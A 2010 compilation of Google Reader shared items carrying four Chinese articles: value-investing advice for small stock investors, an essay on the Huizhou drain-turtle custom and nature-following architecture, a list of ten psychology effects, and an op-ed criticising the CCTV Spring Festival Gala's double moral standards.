股市真正的赢家是谁？

 

 

Sent to you by Willing via Google Reader:

 

 

股市真正的赢家是谁？

via 段绍译理财博客 by 段绍译理财博客 on 2/25/10

                      股市真正的赢家是谁？　

                  北京天则经济研究所  段绍译

                        欢迎光临段绍译快乐理财游学苑：www.kuailelicai.com 

       

  

       中国今天的股市又变成了一个世界上最大的赌场，真正的赢家是政府、证券公司、机构和庄家及跑的快的散户。因此，对于自己不会办企业也没有投资入股机会的人而言，在选购上市公司的股票时应该慎之又慎。

　　鉴于中国的股市还很不成熟，在我国还没有像美国那样严格保护中小投资者利益的法律，对违规者的惩处力度还过于疲软，有法不依的状况还很严重。需要国家不断完善法律，加强监管力度，才能使股市的信息逐渐趋于公开、公正和透明。所以在当前的情况下，一般的中小投资者在中国参与炒股是非常危险的（尤其是在3000点以上时）。为了尽量减少风险并且不因购买股票而耽误自己太多的时间和精力，最好的方式就是理性地选购股票进行"价值投资"。

　　股票投资有可能获得利润，但利润决不是炒出来的。股票的利润来自两个方面：一是企业当前可以分给股东的红利，这部分利润的高低取决于该企业的经营业绩；二是来自对企业前景的正确判断（未来的利润）。

　　比方说有一家资源稀缺型企业，由于管理不善造成当前盈利水平很低，因而股票价格很低。但它的产品销路很好，而且预计到价格会因资源的进一步稀缺而越来越高。所以，只要改善管理，盈利水平很快就可以上去。如果基于这种对企业前景的正确判断而买进它的股票，以后就很可能实现较高的利润。如果股票价格真的上升，股民就可以真的得到更多的利润。除了上面这两个利润来源，再也没有别的因素可以为整个股市的股民提供利润了。所以，理智的股民要作"价值投资"，要去关心企业经营的实际业绩和未来的发展前景，从而决定去买哪些企业的股票。

　　股票的合理价格由三部分组成：上市公司的每股净资产、现实收益水平和未来预期的收益水平的贴现。超过这个合理的价值水平的股价，就是泡沫。

    当然，股市是允许有一定的泡沫存在的。如果企业未来经营得很好，泡沫就会慢慢被充实。但如果没有任何理由能估计到企业泡沫被充实的迹象，那参与炒股就相当于赌博。虽然赌博也有赢家，但他赢的钱就等于另一部分人输的钱减去交易费用，并且赌博浪费的时间也是没有人给你付工资的。所以，赌博只能使社会的财富越来越少。

　　当然，影响股市的原因还有很多，能否在股票市场获利，另一个根本的因素在于对信息的掌握是否及时和充分，因为股市的交易本身就是围绕着信息展开的。但目前的信息对于机构和散户来说是严重不对称的。比方说，许多上市公司在限售股解禁前后突然出台利好消息，以便让自己手中的股票卖个好价钱；有些机构收买某些股评家按自己的愿望做股评或者推荐个股，引诱散户进入圈套；而散户却没有这种制造虚假信息左右股价走势的能力。许多散户亏钱往往都是亏在股评家的嘴上。

    以2007年和2008年的中国股市为例，上市公司能分给流通股股民的利润还不足以交纳交易费用。但很多股评家天天在喊"中国股市还会牛下去"，导致很多小股民血本无归。所以大家最好不要相信股评家的荐股，既然在股市是充满竞争的，人家凭什么把好股票推荐给你呢？也许有人会说，有些股评家有时也说对了。其实这不是他说对了，而是如果多数人上当受骗去跟风购买，就会造成这只股票真的上涨甚至涨停，结果大家误以为他说对了。只要大家误以为他说对了，就对他下次骗人形成"利好"。但只要企业没有利润，即使股票价格被哄抬，也一定是要跌下去的。

　　所以就股票投资而言，理性地选择股票是第一位的。只要你选择的股票是真正有投资价值的，它总会给你带来利润。如果在持有的过程中运气很好遇到特别的"牛市"，你在高点抛出的话还有意外收获。但如果盲目地选购股票去炒作，即使赚了钱也是其他股民亏的钱。并且，谁又能保证自己不会成为最大的傻瓜呢？如果只做"价值投资"，不因股市的大起大落而随波逐流，虽然很难获得暴利，但收益是比较安全稳健的。因为即使在大跌势中依然有股票保持强势，大涨势中依然有股票持续下跌。如果你决定入市，最重要的是选股，而选股最重要的是看价格。因为任何好东西只要价格太高就不算好东西。如果选对了股，就用不着天天去盯盘看股市行情。

　　按著名财经评论家时寒冰的话说："除了职业炒股的投机家，他们才有精力有必要天天去盯着股市行情。否则，天天盯盘是非常愚蠢的做法。因为，盘面所有的陷阱都是机构和庄家给盯盘者量身定做的，机构最不喜欢那些买了股票就去干他自己的正事的人，因为他们很多招儿都用不上了！另外，无论盈亏，如果你天天浪费那么多时间和精力本身就已经是亏了！倘若因亏损而动怒，因盈利而狂喜，那么，你亏得就更大了，因为你把健康也陪进去了！倘若因亏损而把怒火释放在家人或同事身上，那么，你已经亏得血本无归了，因为你连家庭、单位的和睦都葬送了！"

　　要做好"价值投资"，就应该多花点时间去选择有投资价值的股票，而不是天天去盯着股市行情和胡乱听消息。只要选好了一只股票，买好放在那里等待着企业给你去分享红利，它几乎是没有多大风险的。万一整个股市行情差，你照样能得到利润；万一股市行情特别好，你就可以乘机抛掉获得额外的投机收益。好股票就是你可以长时间持有的股票。

　　在目前这样一个信息严重不对称的市场上，机构和庄家不仅能看着散户的牌博弈，甚至在某种程度上还可以决定散户能拿什么牌。散户唯有做"价值投资"才能最大限度地规避风险，否则除了极少数人因运气好而获利外，大部分人将被玩弄于股掌之中。

　　做"价值投资"要看重的是企业过去和现在的盈利水平、在同行业的竞争力、国家政策对企业未来的潜在影响、企业的品牌和市场占有率以及企业的发展前景等。考虑这些因素去买它的股票，投资的安全性就相对有保障了。

　　如果兼职股民实在不知道如何选股，就要么离开股市，要么参考一些值得信赖的炒股行家的理性选择。

　　国外和国内的股票投资经验告诉我们，市场的唯一主旋律就是"价值投资"。但股市也有其自身的规律，同一只股票在不同的时期往往存在着价值低估、价值挖掘、价值实现和价值高估（过度投机）四个阶段的周而复始。"价值投资"指的是投资于目前已具有投资价值，或者目前价值尚被低估、但已经体现出成长性，在可预期的时间里将实现业绩增长的投资对象。

　　

    兼职股民要做好"价值投资"，以下的几点经验可供参考： 

    1.买股票一定要有充分的理由，决不要做没有道理的交易。任何时候都不要用"或许"作为你选择股票的理由。 

　  2、绝大多数有关股票的小道消息都是不可信的。"价值投资"是你真正的朋友，思考一下每一笔交易的"风险收益比"是很有必要的。

　　3、不要一路追涨杀跌，贪婪与恐惧等于死亡。

　　4、你不需要每天都炒股，不要像嫁给股票似的粘住不肯离场，不要因为炒股而严重影响你正常的工作和生活。

    5、注意大势，要顺势而为，不要逆势而行，控制你的"博傻"心理，进行有效的风险管理。

    6、当今中国股市真正的赢家是政府、证券公司、机构和庄家及少部分经验丰富的老股民，如果你今天才开始学炒股，我建议你远离股市，否则绝大部分是没有好下场的。

段绍译、茅于轼签名专著：

     《普通百姓致富之路》在 淘宝网 有售

     《生活中的经济学》   在 淘宝网 有售

     《一个经济学家的良知与思考》在 淘宝网 有售

     《中国人的道德前景》在 淘宝网 有售

     《八十回望-走近茅于轼》在 淘宝网 有售

     《谁妨碍了我们致富》在 淘宝网 有售

     《给你所爱的人以自由》 在 淘宝网 有售

 

 

 

Things you can do from here:

• Subscribe to 段绍译理财博客 using Google Reader
• Get started using Google Reader to easily keep up with all your favorite sites

 

 

徽州民居下水道里的小乌龟

 

 

Sent to you by Willing via Google Reader:

 

 

徽州民居下水道里的小乌龟

via 一五一十部落推荐文章 on 2/22/10

作者：陈季冰 | 评论(4) | 标签:所见所闻

今年冬天出奇地冷。不只中国，似乎整个北半球都在猝不及防之间遭遇了几十年来最大的雪和最寒冷的气温。一位生活在阿姆斯特丹的朋友前两天在MSN上告诉我，她那里的最低气温已经下降到了摄氏零下10度，而往年最冷也不过零下5度左右。邻近国家也饱受冰雪之苦，整个西欧大地仿佛掉进了一个无底大冰窖。

这像是老天爷对不久前吵吵闹闹的哥本哈根会议的一次无情嘲讽：这个会要么根本就不该开，要么选错了开会地方——比如放到算不上比往常格外寒冷的多伦多去开？

这当然是玩笑话，但真正严肃的科学问题并不会因为政治家们的会议就自然得出定论：第一，地球是不是真如戈尔这样的环保主义者一口咬定的那样正在变暖？第二，如果地球确实在变暖，人类活动究竟在这一过程中发挥了多大的作用？一些历史地理学家——如中国的葛剑雄教授——拿出来的无可辩驳的确凿资料证明，即便在根本没有人类的时候，地球气温就发生过剧烈的波动。而在有人类文明的数千年中，历史记载也显示，地球温度似乎也呈现一种周期性的冷暖交替往返趋势。这说明，大自然有其自身的运动变化节奏，只是我们目前尚不能够真正认识而已。

假如认同这种全球气候变化的"怀疑论"，那么我可能还会进一步指出，控制温室气体排放的行动，充其量只是从反面更加证明了我们人类的妄自尊大：我们以为是我们自己的活动造成了地球的主要变化，而实际上，地球母亲根本就对人类活动忽略不计。它用一个十分及时的寒冷冬天提醒人类：不要太自以为是了！你们实在太微不足道了。这不仅指过去那种"改造自然"的雄心，也包括今天对所谓温室气体排放的可笑担忧。

我不是这方面的专家，其实对此根本没有发言权。但我之所以要说这么一大堆，主要是想要引出这样一种在我看来极其有价值的思维方向，即：人类应当改变工业革命以来形成的"主宰心态"，转而采取一种顺应造化本身的生存发展方式。我再强调一遍，这不仅指当代人老生常谈的"与自然和谐相处"，也同时包括保护环境的人类活动本身——人应该以顺应自然的方式保护环境，而不是强行控制温室气体排放之类的蛮干。在我看来，它背后的逻辑其实与过去对环境的破坏如出一辙。

建筑是人类从浑然一体的天地中分离出来，形成所谓"文明"的首要标志。如同一切人类文明一样，建筑既为人提供了一个遮风避雨的栖息之所，也带来了无穷无尽的问题——时下最时髦的议论焦点毫无疑问是它的碳排放。让我们先来看看古人是如何解决所有建筑都会遇到的一个虽不起眼但却永远令人烦恼的小问题的，它或许有助于打开我们的思路。

多年以前我有一次参观著名的徽州江南民居，讲解员告诉我们，以前，每一幢徽州民居天井里的大洗岗（用于淘米、洗菜、洗衣服之类）的地上部分砌死之前，营造工人都要在下水的管道里放一只小乌龟。这与我们现代人立刻会联想到的古代的愚昧和迷信毫无关系，也不是像现在大厦奠基时放鞭炮之类的祈福活动。事实上，可能很少现在的城里人能够想象到：那只乌龟是用来排堵的。有一点生活常识的人都知道，我们住宅的下水道是很容易堵塞的。我们现代人解决这个问题的办法当然首先是发明了很多腐蚀性的通堵药剂，再不行就直接用物理方法。我们先人没有能力、并且好象也不想搞这么一套复杂吃力的办法，他们从造成堵塞的原因入手。有生活常识的人还应该知道，造成下水道堵塞的一般都是油污、头发、饭菜残炙……总之是不易自然分解的有机物。这些东西，正好大多是乌龟的美味佳肴。而之所以选择乌龟而不是其他食腐动物，一来是因为乌龟体积比较小，更重要的是它的长寿——一般来说，乌龟总能比一幢建筑物活得更长。就这样，以前人用乌龟来充当建筑下水道的清道夫！

古人既没有为了下水道的畅通就发明并生产许多有毒或有可能污染环境的药水，也没有时不时拆掉和重建整个洗水缸。我在这里还想着重指出的是，他们也没有因为下水道会堵塞就不洗菜，或强行限制洗衣服的次数。他们采取的是一种顺应自然之力的中庸之道。

我当然不会认为徽州古民居下水道里的那只乌龟能够帮助我们现代人吞掉所有的建筑环保问题，但我认为它能够帮助我们现代人打开一片思考这一问题的新洞天：人与生俱来的使命既不是去做与自然斗争的敌人（像毛主席从前教导我们的那样），也不是充当保卫自然的受难者（像戈尔前副总统现在要求我们的那样）。这两种姿态尽管看似截然对立，实则都折射出人类妄自尊大的一面。相反，人应当把自己视为自然的一部分，合理合情地享用自然的慷慨馈赠，同时也努力地以合自然之道的方式服从于它生生不息的循环。

因此，就眼下热议的建筑碳排放而言，我认为当务之急不是发明许多高科技的环保材料去把建筑搞得光怪陆离，更不是禁止开空调，让自己在阴冷的办公室里瑟瑟发抖，在闷热的会议厅里挥汗如雨。而是更多地汲取古人的智慧——在寒冷的严冬，让大自然赐予的阳光更多地照进我们的房间；在酷热的夏天，让大自然赐予的清风更多地贯穿我们的居室。我无论如何都难以想象，一幢花了巨额费用、使用了许多高科技材料（制造这些材料可能需要开采许多稀有金属或半导体矿藏）的所谓"零排放"建筑，是合乎环保理性的——单独地看，它可能确实是环保的，然而，它是以给未来制造更多和更大未知的麻烦的方式解决一个眼前的已知麻烦。

最近几百年来，我们人类走过了一个具有讽刺意味的循环。以前的人赞美鸡鸭牛羊的鲜美但苦于它们的稀缺，自诩掌握了科学真理的现代人认为自己有能力工业化生产这些美味。于是，我们渐渐地把它们饲养成了散发着人工饲料的膻腥味和激素毒害的一坨坨的死肉——我们获得了廉价的鸡鸭牛羊，但失去了它们的鲜美。而当这种方式造成了太多的问题时，我们现代人中的智叟又义正言辞地高喊：我们应该从此再不食鸡鸭牛羊！我们好象始终弄不清楚我们自己真正需要的是什么？我们更弄不清自然母亲向我们提供了什么以及提供这些的前提条件。

同样地，合于理性的建筑必须建立在合于理性的人生哲学基础之上，它最需要的可能未必是技术（当然我并不反对技术进步），而是智慧；这种智慧来源于对自然和人情世故的深刻洞悉，当下它要求我们更多地回溯往昔，而非面朝未来。或者更准确地说，只有在充分地回溯往昔的前提之上才提得上面朝未来。

实际上，现代的"下水道乌龟"绝不是一个神话。有科学家提出，海洋浮游生物能够吸收大量大气中的二氧化碳，而当生命周期结束后，它们的"尸体"会无声无息地沉入海底。因此，它们是天然的温室气体清道夫。在我看来，如果真能够巧借自然界中浮游生物之力治理温室气体，显然比强制规定各国减排要有智慧的多。当然，我需要再三声明，这绝不是说排放有理，应该更多地排放。现在我们更需要问的是：建筑领域的"浮游生物"在哪里？通过何种方式去探寻？

本文系应我的朋友贾布小姐之约而作，写于2010年1月12日，发表于《设计新潮·建筑》月刊2010年2月刊。

一五一十部落原文链接 | 查看所有4个评论

陈季冰的最新更新：

董明珠超乎常理的勇气 / 2010-02-23 11:21 / 评论数(1)

应当被不准的是权力，实际被不准的总是权利 / 2010-02-03 15:43 / 评论数(11)

CNTV和CNC屏幕上的中国 / 2010-02-01 12:31 / 评论数(10)

80后、90后的独立人格 / 2010-01-26 15:40 / 评论数(19)

到美国去买"中国制造" / 2010-01-25 14:04 / 评论数(16)

 

 

Things you can do from here:

• Subscribe to 一五一十部落推荐文章 using Google Reader
• Get started using Google Reader to easily keep up with all your favorite sites

 

 

人类无法抗拒的10种心理，学会它，就能控制其它人

 

 

Sent to you by Willing via Google Reader:

 

 

人类无法抗拒的10种心理，学会它，就能控制其它人

via 玩聚SR|最新 by upforever on 2/21/10

玩聚SR还知道：

还有 马, Billy, 人之樗, 推荐，查看全部 20 个推荐

upforever发表于2010-02-22 01:33:58

1、鸟笼逻辑

　　挂一个漂亮的鸟笼在房间里最显眼的地方，过不了几天，主人一定会做出下面两个选择之一：把鸟笼扔掉，或者买一只鸟回来放在鸟笼里。这就是鸟笼逻辑。过程很简单，设想你是这房间的主人，只要有人走进房间，看到鸟笼，就会忍不住问你："鸟呢？是不是死了？"当你回答："我从来都没有养过鸟。"人们会问： "那么，你要一个鸟笼干什么？"最后你不得不在两个选择中二选一，因为这比无休止的解释要容易得多。鸟笼逻辑的原因很简单：人们绝大部分的时候是采取惯性思维。所以可见在生活和工作中培养逻辑思维是多么重要。

2、破窗效应

　　心理学的研究上有个现象叫做"破窗效应"，就是说，一个房子如果窗户破了，没有人去修补，隔不久，其它的窗户也会莫名其妙的被人打破；一面墙，如果出现一些涂鸦没有清洗掉，很快的，墙上就布满了乱七八糟，不堪入目的东西。一个很干净的地方，人会不好意思丢垃圾，但是一旦地上有垃圾出现之后，人就会毫不犹疑的拋，丝毫不觉羞愧。这真是很奇怪的现象。

　　心理学家研究的就是这个"引爆点"，地上究竟要有多脏，人们才会觉得反正这么脏，再脏一点无所谓，情况究竟要坏到什么程度，人们才会自暴自弃，让它烂到底。

　　任何坏事，如果在开始时没有阻拦掉，形成风气，改也改不掉，就好象河堤，一个小缺口没有及时修补，可以崩坝，造成千百万倍的损失。

　　犯罪其实就是失序的结果，纽约市在80年代的时候，真是无处不抢，无日不杀，大白天走在马路上也会害怕。地铁更不用说了，车厢脏乱，到处涂满了秽句，坐在地铁里，人人自危。我虽然没有被抢过，但是有位教授被人在光天化日之下，敲了一记闷棍，眼睛失明，从此结束他的研究生涯，使我多少年来谈虎变色，不敢只身去纽约开会。最近纽约的市容和市誉提升了不少，令我颇为吃惊，一个已经向下沉沦的城市，竟能死而复生，向上提升。

　　因此，当我出去开会，碰到一位犯罪学家时，立刻向他讨教，原来纽约市用的就是过去书本上讲的破窗效应的理论，先改善犯罪的环境，使人们不易犯罪，再慢慢缉凶捕盗，回归秩序。

　　当时这个做法虽然被人骂为缓不济急，"船都要沉了还在洗甲板"，但是纽约市还是从维护地铁车厢干净着手，并将不买车票白搭车的人用手铐铐住排成一列站在月台上，公开向民众宣示政府整顿的决心，结果发现非常有效。

　　警察发现人们果然比较不会在干净的场合犯罪，又发现抓逃票很有收获，因为每七名逃票的人中就有一名是通缉犯，二十名中就有一名携带武器，因此警察愿意很认真地去抓逃票，这使得歹徒不敢逃票，出门不敢带武器，以免得不偿失、因小失大。这样纽约市就从最小、最容易的地方着手，打破了犯罪环结 (chain)，使这个恶性循环无法继续下去。

3、责任分散效应

　　1964年3月13日夜3时20分，在美国纽约郊外某公寓前，一位叫朱诺比白的年轻女子在结束酒巴间工作回家的路上遇刺。当她绝望地喊叫："有人要杀人啦!救命!救命!"听到喊叫声，附近住户亮起了灯，打开了窗户，凶手吓跑了。当一切恢复平静后，凶手又返回作案。当她又叫喊时，附近的住户又打开了电灯，凶手又逃跑了。当她认为已经无事，回到自己家上楼时，凶手又一次出现在她面前，将她杀死在楼梯上。在这个过程中，尽管她大声呼救，她的邻居中至少有 38位到窗前观看，但无一人来救她，甚至无一人打电话报警。这件事引起纽约社会的轰动，也引起了社会心理学工作者的重视和思考。人们把这种众多的旁观者见死不救的现象称为责任分散效应。

　　对于责任分散效应形成的原因，心理学家进行了大量的实验和调查，结果发现：这种现象不能仅仅说是众人的冷酷无情，或道德日益沦丧的表现。因为在不同的场合，人们的援助行为确实是不同的。当一个人遇到紧急情境时，如果只有他一个人能提供帮助，他会清醒地意识到自己的责任，对受难者给予帮助。如果他见死不救会产生罪恶感、内疚感，这需要付出很高的心理代价。而如果有许多人在场的话，帮助求助者的责任就由大家来分担，造成责任分散，每个人分担的责任很少，旁观者甚至可能连他自己的那一份责任也意识不到，从而产生一种"我不去救，由别人去救"的心理，造成"集体冷漠"的局面。如何打破这种局面，这是心理学家正在研究的一个重要课题。

4、帕金森定律

　　英国著名历史学家诺斯古德·帕金森通过长期调查研究，写出一本名叫《帕金森定律》的书。他在书中阐述了机构人员膨胀的原因及后果：一个不称职的官员，可能有三条出路，第一是申请退职，把位子让给能干的人；第二是让一位能干的人来协助自己工作；第三是任用两个水平比自己更低的人当助手。这第一条路是万万走不得的，因为那样会丧失许多权利；第二条路也不能走，因为那个能干的人会成为自己的对手；看来只有第三条路最适宜。于是，两个平庸的助手分担了他的工作，他自己则高高在上发号施令，他们不会对自己的权利构成威胁。两个助手既然无能，他们就上行下效，再为自己找两个更加无能的助手。如此类推，就形成了一个机构臃肿，人浮于事，相互扯皮，效率低下的领导体系。

5、晕轮效应

　　俄国著名的大文豪普希金曾因晕轮效应的作用吃了大苦头。他狂热地爱上了被称为"莫斯科第一美人"的娜坦丽，并且和她结了婚。娜坦丽容貌惊人，但与普希金志不同道不合。当普希金每次把写好的诗读给她听时。她总是捂着耳朵说："不要听！不要听！"相反，她总是要普希金陪她游乐，出席一些豪华的晚会、舞会，普希金为此丢下创作，弄得债台高筑，最后还为她决斗而死，使一颗文学巨星过早地陨落。在普希金看来，一个漂亮的女人也必然有非凡的智慧和高贵的品格，然而事实并非如此，这种现象被称为晕轮效应。

　　所谓晕轮效应，就是在人际交往中，人身上表现出的某一方面的特征，掩盖了其他特征，从而造成人际认知的障碍。在日常生活中，"晕轮效应"往往在悄悄地影响着我们对别人的认知和评价。比如有的老年人对青年人的个别缺点，或衣着打扮、生活习惯看不顺眼，就认为他们一定没出息；有的青年人由于倾慕朋友的某一可爱之处，就会把他看得处处可爱，真所谓"一俊遮百丑"。晕轮效应是一种以偏概全的主观心理臆测，其错误在于：第一，它容易抓住事物的个别特征，习惯以个别推及一般，就像盲人摸象一样，以点代面；第二，它把并无内在联系的一些个性或外貌特征联系在一起，断言有这种特征必然会有另一种特征；第三，它说好就全都肯定，说坏就全部否定，这是一种受主观偏见支配的绝对化倾向。总之，晕轮效应是人际交往中对人的心理影响很大的认知障碍，我们在交往中要尽量地避免和克服晕轮效应的副作用。

6、霍桑效应（Hawthorne effect）

　　心理学上的一种实验者效应。20世纪20-30年代，美国研究人员在芝加哥西方电力公司霍桑工厂进行的工作条件、社会因素和生产效益关系实验中发现了实验者效应，称霍桑效应。

　　实验的第一阶段是从1924年11月开始的工作条件和生产效益的关系，设为实验组和控制组。结果不管增加或控制照明度，实验组产量都上升，而且照明度不变的控制组产量也增加。另外，有试验了工资报酬、工间休息时间、每日工作长度和每周工作天数等因素，也看不出这些工作条件对生产效益有何直接影响。第二阶段的试验是由美国哈佛大学教授梅奥领导的，着重研究社会因素与生产效率的关系，结果发现生产效率的提高主要是由于被实验者在精神方面发生了巨大的变化。参加试验的工人被置于专门的实验室并由研究人员领导，其社会状况发生了变化，受到各方面的关注，从而形成了参与试验的感觉，觉得自己是公司中重要的一部分，从而使工人从社会角度方面被激励，促进产量上升。

　　这个效应告诉我们，当同学或自己受到公众的关注或注视时，学习和交往的效率就会大大增加。因此，我们在日常生活中要学会与他人友好相处，明白什么样的行为才是同学和老师所接受和赞赏的，我们只有在生活和学习中不断地增加自己的良好行为，才可能受到更多人的关注和赞赏，也才可能让我们的学习不断进步，充满自信！

7、习得性无助实验

　　习得性无助效应最早有奥弗米尔和西里格曼发现，后来在动物和人类研究中被广泛探讨。简单地说，很多实验表明，经过训练，狗可以越过屏障或从事其他的行为来逃避实验者加于它的电击。但是，如果狗以前受到不可预期（不知道什么时候到来）且不可控制的电击（如电击的中断与否不依赖于狗的行为），当狗后来有机会逃离电击时，他们也变得无力逃离。而且，狗还表现出其他方面的缺陷，如感到沮丧和压抑，主动性降低等等。

　　狗之所以表现出这种状况，是由于在实验的早期学到了一种无助感。也就是说，它们认识到自己无论做什么都不能控制电击的终止。在每次实验中，电击终止都是在实验者掌控之下的，而狗会认识到自己没有能力改变这种外界的控制，从而学到了一种无助感。

　　人如果产生了习得性无助，就成为了一种深深的绝望和悲哀。因此，我们在学习和生活中应把自己的眼光在开阔一点，看到事件背后的真正的决定因素，不要使我们自己陷入绝望。

8、证人的记忆

　　证人，在我们的认识里，通常都是提供一些客观的证据的人，就是把自己亲眼看到、亲耳听到的东西如实地讲出来的人。然而，心理学研究证明，很多证人提供的证词都不太准确，或者说是具有个人倾向性，带着个人的观点和意识。

　　证人对他们的证词的信心并不能决定他们证词的准确性，这一研究结果令人感到惊讶。心理学家珀费可特和豪林斯决定对这一结论进行更深入的研究。为了考察证人的证词是否有特别的东西，他们将证人的记忆与对一般知识的记忆进行了比较。

　　他们让被试看一个简短的录象，是关于一个女孩被绑架的案件。第二天，让被试回答一些有关录象里内容的问题，并要求他们说出对自己回答的信心程度，然后做再认记忆测验。接下来，使用同样的方法，内容是从百科全书和通俗读物中选出的一般知识问题。

　　和以前发生的一样，珀费可特和豪林斯也发现，在证人回忆的精确性上，那些对自己的回答信心十足的人实际上并不比那些没信心的人更高明，但对于一般知识来说，情况就不是这样，信心高的人回忆成绩比信心不足的人好得多。

　　人们对于自己在一般知识上的优势与弱势有自知之明。因此，倾向于修改他们对于信心量表的测验结果。一般知识是一个数据库，在个体之间是共享的，它有公认的正确答案，被试可以自己去衡量。例如，人们会知道自己在体育问题上是否比别人更好或更差一点。但是，目击的事件不受这种自知之明的影响。例如，从总体上讲，他们不大可能知道自己比别人在记忆事件中的参与者头发颜色方面更好或更差。

9、罗森塔尔效应

　　美国心理学家罗森塔尔等人于1968年做过一个著名实验。他们到一所小学，在一至六年级各选三个班的儿童进行煞有介事的"预测未来发展的测验"，然后实验者将认为有"优异发展可能"的学生名单通知教师。其实，这个名单并不是根据测验结果确定的，而是随机抽取的。它是以"权威性的谎言"暗示教师，从而调动了教师对名单上的学生的某种期待心理。8个月后，再次智能测验的结果发现，名单上的学生的成绩普遍提高，教师也给了他们良好的品行评语。这个实验取得了奇迹般的效果，人们把这种通过教师对学生心理的潜移默化的影响，从而使学生取得教师所期望的进步的现象，称为"罗森塔尔效应"，习惯上也称为皮格马利翁效应（皮格马利翁是古希腊神话中塞浦路斯国王，他对一尊少女塑像产生爱慕之情，他的热望最终使这尊雕像变为一个真人，两人相爱结合）。

　　教育实践也表明：如果教师喜爱某些学生，对他们会抱有较高期望，经过一段时间，学生感受到教师的关怀、爱护和鼓励；常常以积极态度对待老师、对待学习以及对待自己的行为，学生更加自尊、自信、自爱、自强，诱发出一种积极向上的激情，这些学生常常会取得老师所期望的进步。相反，那些受到老师忽视、歧视的学生，久而久之会从教师的言谈、举止、表情中感受到教师的"偏心"，也会以消极的态度对待老师、对待自己的学习，不理会或拒绝听从老师的要求；这些学生常常会一天天变坏，最后沦为社会的不良分子。尽管有些例外，但大趋势却是如此，同时这也给教师敲响了警钟。

10、虚假同感偏差（false consensus bias）

　　我们通常都会相信，我们的爱好与大多数人是一样的。如果你喜欢玩电脑游戏，那么就有可能高估喜欢电脑游戏的人数。你也通常会高估给自己喜欢的同学投票的人数，高估自己在群体中的威信与领导能力等等。你的这种高估与你的行为及态度有相同特点的人数的倾向性就叫做"虚假同感偏差"。有些因素会影响你的这种虚假同感偏差强度： （1）当外部的归因强于内部归因时； （2）当前的行为或事件对某人非常重要时；（3）当你对自己的观点非常确定或坚信时； （4）当你的地位或正常生活和学习受到某种威胁时； （5）当涉及到某种积极的品质或个性时；（6）当你将其他人看成与自己是相似时。

推荐相关的热文:

缺少睡眠会传染 | 16荐

一日一冷新闻：哈佛的学生需要更多的嘿咻 | 9荐

专注，是一项高级修炼（一） | 10荐

愚蠢的父母比教育制度更可怕 | 4荐

教授发飙 课堂上液氮摧毁学生笔记本 | 20荐

为什么山东蓝翔高级技工学校强于哈佛大学？ | 22荐

玩聚SR 是一个追踪各种社会化媒体，实时发现IT人都在分享和推荐什么的工具。点击阅读聚焦频道热文。
手机请登录移动版。

 

 

Things you can do from here:

• Subscribe to 玩聚SR|最新 using Google Reader
• Get started using Google Reader to easily keep up with all your favorite sites

 

 

春晚的要害是奉行双重道德标准

 

 

Sent to you by Willing via Google Reader:

 

 

春晚的要害是奉行双重道德标准

via 一五一十部落推荐文章 on 2/17/10

作者：田奇庄 | 评论(5) | 标签:春晚, 官本位

春晚演出举国关注，全球展播，影响颇大。如今举办者虽然自我感觉良好，但国人对春晚意见越来越多。我认为春晚弊端的根源是央视奉行捧官贬民的双重道德标准，有悖于社会公平公正。

春晚节目小品向来是重中之重。这些节目的主题往往是现实的缩影，折射出了社会整体道德水平。多年来春晚的小品主题几乎都与虚假有关，今年尤其严重——六个小品题材无不涉假。一、冯巩做好事被怀疑为假善人；二、郭东临"一句话的事"接电话骗人；三、 卖包子收假钞；四、蔡明卖土豆找假托；五、黄宏的小品整容造假；六、赵本山假捐款。问题在于，多年来春晚小品讽刺嘲弄的对象，无一例外都是社会底层民众。其言外之意很明显：这类骗人与被骗的闹剧纯属社会底层小人物的专利，与庙堂之上的君子们全无关系。

平心而论，当下中国社会底层人们生活十分不易。一年到头，一家人团聚需要乐呵乐呵，高高在上的央视大佬们又拿穷人寻开心了。他们把草根阶层那些猥琐、狡黠、自私、虚荣等诸多弱点聚焦、放大，出高价请来顶级演员，借春晚荧屏之曝光台，使之成为天下人，特别是大人物们的笑料。如此策划者心机诡诈，让人不敢恭维。

可怜之人常有可恨之处。生活在社会底层的人，难免办些上不了台面的尴尬事。对于这些人和事，宽容理性的人们根本不予以计较。因为大家知道，社会底层人们的道德缺陷，往往由生活所迫，受环境影响或没有得到良好教育，需要政府和社会承担主要责任。再说，这些人的不道德行为影响有限，很容易受到所处环境的道德规范，因而无须小题大做。

春晚舞台是公共资源，公共媒体关注的焦点应当是公共事务。在中国大陆，主持、主导公共事务者是各级官员。媒体作为公共利益代言人，理应对官员进行监督，不断做出道德评判，促使他们公平公正，尽职尽责。

然而，充当喉舌的媒体对官员道德行为不闻不问，对民众总是横挑鼻子竖挑眼。长期以来，无所顾忌的官员们呼风唤雨，在这块神奇的土地上出尽了洋相。前年的"虎照门"事件，从乡到省的官员，面对媒体和网友的质疑，装神弄鬼，丑态百出。这一次重庆打黑暴露出了数百名官员，这些高官们都是伪君子喜剧的天才演员。无须修饰改编，只要把他们台前幕后表现搬上春晚舞台，就能让国人笑破肚皮。而每年数以万计的贪官、淫官、喝死的官、玩死的官、双重人格的官，以及政治上高度一致，实际上屡屡触犯法律的官，不仅为相声、小品提供了取之不尽的素材，更是引领社会道德整体滑坡的始作俑者。

然而，这些关系到执政党生死存亡，关系到广大民众切身利益，关系到社会道德价值体系的重大题材，春晚自诞生以来从不问津。春晚的编导们绞尽脑汁，挖空心思的宣泄对象只是草民。与之形成鲜明对比的是，春晚中凡是官员登场，无不尽善尽美，光彩照人，俨然是伟大、光荣、正确的化身。事实证明，春晚所奉行就是"刑不上大夫，礼不下庶民"的双重道德标准。

什么叫共和国？大家遵守同样的法律、恪守同样的道德才叫共，大家都能享受平等的政治权利才叫和。处在相同的社会环境中，互相帮助，互相爱护，权力与权利能够互相监督制约，彼此才能成为血浓于水的骨肉同胞。而春晚所刻意营造的舞台，表面上花样翻新，其实早已背离了共和国的宗旨，是两千年来"上智下愚"、离心离德的官本位等级关系再现。

如果央视以及诸多媒体放弃公共责任，面对创造了诸多匪夷所思纪录的贪官污吏装聋作哑，却揪住普通百姓的道德缺陷不放，中国的社会道德永远不可能提升；如果春晚继续奉行双重道德标准，一味替官员涂脂抹粉，拿普通百姓开涮。那么，春晚迟早有一天会被公众唾弃。

一五一十部落原文链接 | 查看所有5个评论

田奇庄的最新更新：

打黑英雄王立军会不会成为下一个文强 / 2010-02-07 20:19 / 评论数(4)

杀人魔王张君何以料定文强命运？ / 2010-02-04 22:50 / 评论数(1)

给时下官员画像 / 2010-02-02 22:48 / 评论数(5)

我今天的公民行动 / 2010-01-25 13:26 / 评论数(6)

